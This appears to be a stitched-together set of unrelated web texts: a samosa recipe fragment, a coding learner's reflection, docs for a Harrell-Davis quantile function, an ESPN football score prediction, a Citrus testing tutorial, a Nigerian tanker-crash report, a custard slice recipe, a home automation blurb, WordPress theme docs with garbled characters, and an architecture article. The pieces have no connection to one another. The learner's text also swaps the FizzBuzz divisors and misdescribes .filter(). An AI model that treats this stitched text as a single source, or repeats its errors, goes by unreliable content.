Divide the dough into golf-ball sized pieces and, on a floured surface, roll them out into thin circles about 7.5cm/5in diameter and 3mm thick, then cut each circle in half.
Apply the ‘glue’ to the straight edge of one semi-circle. Fold it to make a cone shape, sealing the pasted straight edge, then lift the cone with the tapered end at the bottom, and fill it with about one tablespoon of the vegetable mixture. Seal the samosa with a little more glue, pressing the edges firmly together. Repeat the process until all of the pastry has been used up.
Place the samosas on a baking tray and put in the centre of the oven. Bake for 25-30 minutes, turning them once halfway through cooking until lightly browned.
Serve hot with tomato chutney or ketchup.


Well I've been blocked on a few simple problems recently, so there are many to pick from. This week I was trying to create a function which would show on a screen numbers, 1-1000, but each number that was divisible by 5 the function would show "Fizz" instead of the number and if the number was divisible by 3 the function would show "Buzz" instead...don't ask me why I was working on this, but it had me blocked for some time. Information is passing through me at the moment.
The problem above was solved using the hints provided under the question. I also searched on google to see what other answers there were. I've since downloaded a app called 'javascript anywhere' so that I can practice writting functions.
Pseudocode: Yes, this is very helpful to really understand a problem. It involves writing part code and part 'english' to identify what is required.
Trying something: Yes I had many occasions so far, in which I've tried something and it hasn't worked. I'm very confortable trying out different combinations to try and find the right result.
Rubber ducky method: I haven't used this method yet, but I can see how it will be helpful and I'm sure I will using it in the future.
Reading error messages: I'm starting to get the hang of these. I find it useful to bring up dev tools and try and isolate the issue.
Console.logging: Yes I normally check this out in the dev tools.
Googling: Yes I'm confortable doing this and if often my first point of call.
Asking your peers for help: Yes, happy to ask my peer group. I was probably guilty of going to them too early in the first couple of weeks, without exhausting other options first...must be good for their ego though.
Asking coaches for help: Yes I'm happy to ask my coach for assistance if I get completely stuck. I'm sure he very busy so I would need to be completely blocked and not be getting any assistance from my fellow Hihis.
Improving my process with reflection: Yes I'm a big believer in reflection and I learn through reflection where ever possible. If I was better discplined I would keep a daily diary...one of my future missions.
.map(): This creates a new array with the results of calling a function.
.filter(): This function removes any varibles from an array which do not remain true when the main function is run. For example: The array may hold numbers 1-10 and 15, 17 and 20. The function only runs for numbers 1-10, therefore the filter removes these numbers.
.reduce() This function adds all numbers in the function up and reduces them to one number.

(x, quantile=0.5, axis=- 1)¶ Harrell-Davis robust estimate of the \(q^{th}\) quantile(s) of the data.
New in version 0.2.9.
- Parameters
- xarray_like
Data, must be a one or two-dimensional vector.
- quantilefloat or array_like
Quantile or sequence of quantiles to compute, must be between 0 and 1. Default is
0.5
.- axisint
Axis along which the MAD is computed. Default is the last axis (-1). Can be either 0, 1 or -1.
- Returns
- yfloat or array_like
The estimated quantile(s). If
quantile
is a single quantile, will return a float, otherwise will compute each quantile separately and returns an array of floats.

Notes
The Harrell-Davis method [1] estimates the \(q^{th}\) quantile by a linear combination of the order statistics. Results have been tested against a Matlab implementation [2]. Note that this method is also used to measure the confidence intervals of the difference between quantiles of two groups, as implemented in the shift function [3].

ESPN Analyst Releases Score Prediction For Oklahoma-OSU
by Alek ArendOklahoma’s College Football Playoff hopes got a boost on Saturday with Oregon’s loss to Arizona State. Now, the Sooners must beat a dangerous Oklahoma State team on Saturday to keep those playoff aspirations alive.
QB Jalen Hurts is as exciting of a offensive player as their is in college football. But Oklahoma’s defense has seemingly regressed after early season success. The Sooners will have to be sharp against an explosive OSU offense led by RB Chuba Hubbard.
The Cowboys’ dynamic RB is on pace for a 2,000 yard season. Hubbard has 1,832 yards and 20 touchdowns through 11 games. He’s certainly deserving of Heisman hype, but his team’s 8-3 record has hurt his odds.
Will Oklahoma’s defense slow down the explosive OSU offense? Or will Hubbard and the Cowboys shock the college football world?
ESPN’s Bill Connelly has released his score prediction for the massive Big 12 contest. His SP+ formula is predicting a big time Sooners’ victory.
SP+ projection: Oklahoma 40, Oklahoma State 27
A 13-point victory would be a notable feat for Oklahoma – and it might be a major bragging point to the CFP committee. Right now, Alabama and Utah are the two teams primarily in the discussion for the potential No. 4 seed.
But Oklahoma has an impressive resume and will have a strong argument for getting in as long as they win on Saturday.
Oklahoma-Oklahoma State kicks off this Saturday at 8 p.m. ET on FOX.

This sample deals with data dictionaries that translate message content while exchanging data with the todo sample application. Read about the Citrus data dictionary feature in reference guide
Objectives
The todo-list sample application provides a REST API for managing todo entries. We call this API and receive Json message structures for validation in our test cases. The Json message content is manipulated before exchanging with the system under test via data dictionaries. The dictionary is added as component to the Spring bean application context.
@Bean
public JsonPathMappingDataDictionary inboundDictionary() {
JsonPathMappingDataDictionary dataDictionary = new JsonPathMappingDataDictionary();
dataDictionary.setGlobalScope(false);
dataDictionary.setMappingFile(new ClassPathResource("dictionary/inbound.properties"));
return dataDictionary;
}
@Bean
public JsonPathMappingDataDictionary outboundDictionary() {
JsonPathMappingDataDictionary dataDictionary = new JsonPathMappingDataDictionary();
dataDictionary.setGlobalScope(false);
dataDictionary.setMappingFile(new ClassPathResource("dictionary/outbound.properties"));
return dataDictionary;
}
We define two dictionaries, one for inbound messages and another for outbound messages. In the dictionary mapping files we can provide several JsonPath expressions that should be applied to the messages before exchange.
$.title=citrus:concat('todo_', citrus:randomNumber(4))
$.description=Description: todo_${todoId}
$.done=false
The outbound mappings above generate dynamic test data for message element on the todo Json payloads. The todo title is automatically set to a random string using the citrus:randomNumber()
function.
Also the description and done field is set to a proper value.
The dictionary can be applied to each send operation in Citrus.
http()
.client(todoClient)
.send()
.post("/api/todolist")
.messageType(MessageType.JSON)
.dictionary("outboundDictionary")
.contentType(ContentType.APPLICATION_JSON.getMimeType())
.payload("{ \"id\": \"${todoId}\", \"title\": null, \"description\": null, \"done\": null}");
As you can see the outbound dictionary overwrites message content before the actual message is sent out. The message payload in the send operation does not need to set proper values for title, description and done. These values can be null. The dictionary makes sure that the message content is manipulated before exchanging with the foreign service.
Same mechanism applies for inbound dictionaries. Here we define assertions on message elements that are automatically applied to the receive operation.
$.title=todo_${todoId}
$.description=@startsWith('Description: ')@
$.done=false
The JsonPath expression mappings above make sure that the message validation is manipulated before taking action. This way we are able to set common validation and manipulation steps in multiple data dictionaries. Multiple send and receive operations can use the dictionary mappings and we are able to manage those mappings on a very central point of configuration.
Run
You can execute some sample Citrus test cases in this sample in order to write the reports. Open a separate command line terminal and navigate to the sample folder.
Execute all Citrus tests by calling
mvn integration-test
You should see Citrus performing several tests with lots of debugging output.
And of course green tests at the very end of the build and some new reporting files in target/citrus-reports
folder.
Of course you can also start the Citrus tests from your favorite IDE. Just start the Citrus test using the TestNG IDE integration in IntelliJ, Eclipse or Netbeans.


Eight killed, several wounded as petrol tanker rams into vehicles in Kogi
by https://www.facebook.com/CheerfulpraiseJames Azania, Lokoja
Eight people perished Monday morning, while seven others sustained various degree of injuries as a petrol laden tanker with apparent brake failure rammed into other vehicles on its descent around the Felele axis of the Abuja-Lokoja highway, in Kogi State.
The ghastly crash involving three cars, four tricycles, two motorcycles and a bus, resulted in angry youths taken over the expressway in protest.
An eye witness who identified himself as Moses Johnson told our correspondent that the crash occurred around 8.45am, said that the driver of the trailer which was coming from the Lagos end of the highway lost control as a result of brake failure, leading to the death of innocent citizens who left their houses in search of their daily bread.

Our correspondent who later visited the scene of the accident writes that the men of the Federal Fire Service drafted to Lokoja for the governorship election, were making concerted effort to put out the fire that had virtually taken over one section of the highway.
Personnel of the Federal Road Safety Corps (FRSC) were also seen on the ground, as they evacuated the victims, included the injured, and made to curtail the situation.
One of the FRSC officials who declined to mention his name, attributed the accident to brake failure by the white coloured petrol tanker marked JEG141XA DAF, saying 17 people were involved in the accident
He said that the victims have been taken to Federal Medical Central and the Specialist Hospital both in Lokoja by FRSC.

A real teatime indulgence, this custard slice recipe will certainly bring back memories. Our own great British pâtisserie!
In a large bowl mix the flour and salt together. Rub in a third of the butter until the mixture resembles fine breadcrumbs. Then roughly rub in the remaining butter, leaving large lumps.
Add the water a little at a time until the pastry just binds together (you may not need all the water).
Tip the pastry out onto a floured work surface. Roll into a narrow rectangle about 2.5cm/1in thick.
With the pastry vertically in front of you fold the bottom third of the pastry up onto the middle third then the top third down onto the other thirds. This is called a turn.
Wrap the pastry in cling film and place in the refrigerator to chill for 10 minutes
Take out of fridge and with a rolling pin roll out again into a narrow rectangle and repeat the turn as before.
Chill again and repeat the rolling and turning once more, so a total of three times. Wrap the pastry in cling film and return to the fridge to rest.
While the pastry is resting, make the crème pâtissière. Pour the milk into a pan and add the split vanilla pod and its seeds. Bring the milk mixture to the boil, then remove from the heat.
Whisk the sugar, egg yolks and cornflour together in a large bowl.
Pour out a little of the hot milk onto the egg mixture, whisking continuously. Whisk in the rest of the hot milk until well-combined, then return to the pan.
Cook the mixture over a gentle heat, stirring continuously, until the mixture becomes thick. It will just come to the boil.
Remove from the heat and pass the mixture through a sieve into a clean bowl. Add the butter and stir until melted and thoroughly combined.
Leave to cool, cover with clingfilm and then chill before using.
Pre-heat the oven to 220C/425F/Gas 7. Line two baking trays with baking parchment.
Divide the pastry into two equal pieces and roll out both pieces to 20cm/8in square and 5mm/¼in thick. Then place each pastry sheet onto the lined baking trays, and chill for 10-15 minutes.
Bake the pastry sheets for 10-15 minutes or until golden-brown and crisp. Set aside to cool.
While the pastry bakes, line a deep 23cm/9in square baking tray with foil with plenty of extra foil at the sides. The extra foil allows you to lift out the assembled slices.
Place one pastry sheet in bottom of the lined baking tray. (Reserve the prettiest piece for the top.)
Spread the crème pâtissière evenly onto the pastry in the baking tray before placing other piece of pastry, on top. Refrigerate while making the icing.
For the icing, sift the icing sugar into a bowl. Stir in cold water until thoroughly combined and set aside.
Transfer the melted chocolate into a piping bag fitted with a small plain nozzle, and set aside to firm up slightly.
Take the custard slice from the fridge and spread the icing over the top layer of pastry.
Using the piping bag, draw ten parallel lines along the top of the icing in one direction. Using a tooth pick, pull parallel lines about 2.5cm/1in across the melted chocolate and icing in alternating directions to create a feathered effect.
Place the slice back into the fridge to set.
Cut the finished vanilla slice into eight pieces.
Using the foil carefully lift the portioned vanilla slices out of the tray and place onto a serving platter.


A home automation system is a remotely controlled setup that will allow you to control and monitor variety of home appliances/systems including lighting, AC, curtain, water pumps, security, home entertainment systems operating within your home and much more. Potential homeowners are increasingly looking for ways to increase convenience and security which are the top selling points of home automation systems.
With the Internet, things are expanding as fast as the Internet itself, we are seeing the rise of many different Internet connected home devices. The definition of a device being “smart” is its ability to connect to other devices like your phone, laptop or other electronics in the home.

The main ShereChat Philosophy
ShereChat Options panel is built with the renowned Redux Framework and gives you many configuration options in a user-friendly environment. Click the ShereChat tab from the main WordPress navigation and then you will be able to access and enjoy many core features of ShereChat. All the options have detailed descriptions in order to explain their purpose.
ShereChatâ€™s main philosophy is that the user can have the power to make global settings from Theme Options on how to change the appearance of each Post format ( Pages/Posts/Portfolios) and in addition to be able to override almost everything through the Single Post formats (Pages/Posts/Portfolios). For example: Under Theme Options > Page Options you can select on whether you wish your Page header to overlap the content and select the Header Style you prefer (Default/Light/Dark). That means that the settings you will make will affect every single page of your site. In a creation of a Page, you can surely override this selection (as and most of them). This is the ShereChat Magic!

How to use the Sliding Area
The Sliding Area feature is an extra hidden sidebar area at the right of the site. It can be used in order to have the widgets of the Sidebar area you select via Appearance > Widgets. The main concept behind this is the quick access to useful information. Moreover, you are able to enable it globally per custom post type and override it per single custom post type.

Furthermore, you can reorder the elements, copy-paste and save templates. It has very simple and instinctive interface! Donâ€™t forget to read the Rows/Columns article in this documentation, where you will discover the amazing responsive possibilities.ShereChat uses indeed the latest versions of VC preserving 90% of functionality and features (only a small percentage is handled byShereChat for technical purposes). However, ShereChat â€™s elements are especially handmade for the themeâ€™s preferences and they harmoniously use the amazing visual interface of the VC. That means you will not find just one Visual Composer copy in ShereChat!

The Ranch Mine creates modern courtyard home in the Arizona desert
by Jenna McKnightAmerican studio The Ranch Mine has completed a residence in Phoenix that features a mix of gabled and flat volumes wrapped in corrugated metal, white stucco and honey-toned wood.
The Pleats house is located near the Dreamy Draw Mountain Preserve, just north of Uptown Phoenix. The clients – proud owners of two rescue dogs – purchased the property over a decade ago, drawn by the natural topography and open space.
The site had an existing house dating to 1952, which the clients planned to renovate or replace once they found the right architect.
"From the day they moved in, their goal was to remodel the house to fit their lifestyle – modern yet warm, functional yet original, minimalist yet inviting," said local firm The Ranch Mine in a project description.
"After a decade of living below their means and surviving the Great Recession saving every penny they could, the homeowners reached out to us with a modest budget and big dreams."
The team conceived a U-shaped dwelling that is organised around a central courtyard with a swimming pool. The foundation of the original home was retained, but the rest of the structure was demolished.
"To save money, the foundation of the original house was reused and the space was redesigned to fit the bedrooms, including a master suite that was lacking before," the studio said.
The three volumes that make up the 1,850-square-foot (172-square-metre) residence each have a distinct shape and function.
One has a tall, pointy roof and encompasses the public zone. Adjoining this volume is a long, low bar that contains the bedrooms.
The third component – a garage and workshop – also has a gabled roof. Located in the back of the property, this area is accessed via a gravel driveway that runs alongside the house.
Facades are wrapped in a mix of hemlock wood, dark metal and white stucco. For the exterior aesthetic, the team took cues from the saguaro cactus, which is native to the region.
"The house draws its name, Pleats, from the corrugated metal that wraps the gabled volume, reminiscent of the pleated exterior of the cactus," the studio said.
"The gabled entry features a patterned, wood rainscreen that evokes the forked ribs of the cactus, while the recessed entry is akin to a saguaro boot – the holes in the giant cacti that many desert animals use as their homes."
The interior provides shelter from the intense desert sun, while still offering views of the mountains and a connection to the landscape.
In both the public and private areas, sliding glass doors open directly into the central courtyard, allowing for indoor-outdoor living. A large patio is covered with a perforated steel canopy that provides ample shade.
"The tall roof of the gable adds additional shade to the courtyard from the intense afternoon sun," the team said.
Decor and finishes draw upon multiple sources, including mid-century modern design and sleek hardware from Germany and Italy. The clients also requested the integration of industrial-style materials, such as concrete and stainless steel.
"To meet this request, the hardware, fixtures and appliances were chosen for their clean and European design, while finishes like walnut cabinetry, accent lighting and furniture add some mid-century flair," the team said.
Founded in 2010, The Ranch Mine is led by the husband-and-wife team of Cavin and Claire Costello. Other projects by the Arizona studio include a modern courtyard home that alludes to Georgia O'Keeffe paintings, and a canal-side home that is based on the missions built in the American West over 200 years ago.
